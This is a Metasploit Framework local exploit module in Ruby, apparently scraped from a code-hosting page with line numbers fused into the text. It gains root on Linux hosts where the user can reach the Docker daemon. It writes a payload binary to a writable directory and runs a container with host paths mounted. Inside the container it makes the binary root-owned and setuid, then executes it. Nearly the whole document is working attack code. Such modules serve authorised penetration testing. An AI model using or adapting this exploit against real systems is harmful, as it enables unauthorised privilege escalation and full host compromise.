Path: blob/master/modules/exploits/linux/local/docker_daemon_privilege_escalation.rb
19718 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Linux::Priv10include Msf::Post::Linux::System11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(17update_info(18info,19{20'Name' => 'Docker Daemon Privilege Escalation',21'Description' => %q{22This module obtains root privileges from any host account with access to the23Docker daemon. Usually this includes accounts in the `docker` group.24},25'License' => MSF_LICENSE,26'Author' => ['forzoni'],27'DisclosureDate' => '2016-06-28',28'Platform' => 'linux',29'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_MIPSLE, ARCH_MIPSBE],30'Targets' => [ ['Automatic', {}] ],31'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 60 },32'SessionTypes' => ['shell', 'meterpreter'],33'DefaultTarget' => 0,34'Notes' => {35'Reliability' => UNKNOWN_RELIABILITY,36'Stability' => UNKNOWN_STABILITY,37'SideEffects' => UNKNOWN_SIDE_EFFECTS38}39}40)41)42register_advanced_options([43OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])44])45end4647def base_dir48datastore['WritableDir'].to_s49end5051def check52if cmd_exec('docker ps && echo true') =~ /true$/53print_good("Docker daemon is accessible.")54Exploit::CheckCode::Vulnerable55else56print_error("Failed to access Docker daemon.")57Exploit::CheckCode::Safe58end59end6061def exploit62if !datastore['ForceExploit'] && is_root?63fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')64end6566unless writable? base_dir67fail_with Failure::BadConfig, "#{base_dir} is not writable"68end6970if nosuid? base_dir71fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"72end7374pl = generate_payload_exe75exe_path = "#{base_dir}/#{rand_text_alpha(6..11)}"76print_status("Writing payload executable to '#{exe_path}'")7778write_file(exe_path, pl)79register_file_for_cleanup(exe_path)8081print_status("Executing script to create and run docker container")82vprint_status cmd_exec("chmod +x #{exe_path}")83vprint_status shell_script(exe_path)84vprint_status cmd_exec("sh -c '#{shell_script(exe_path)}'")8586print_status "Waiting #{datastore['WfsDelay']}s for payload"87end8889def shell_script(exploit_path)90deps = %w(/bin /lib /lib64 /etc /usr /opt) + [base_dir]91dep_options = deps.uniq.map { |dep| "-v #{dep}:#{dep}" }.join(" ")9293%Q{94IMG=`(echo "FROM scratch"; echo "CMD a") | docker build -q - | awk "END { print \\\\$NF }"`95EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}; chmod +x #{exploit_path}"96docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"97docker rmi -f $IMG98#{exploit_path}99}.strip.split("\n").map(&:strip).join(';')100end101end102103104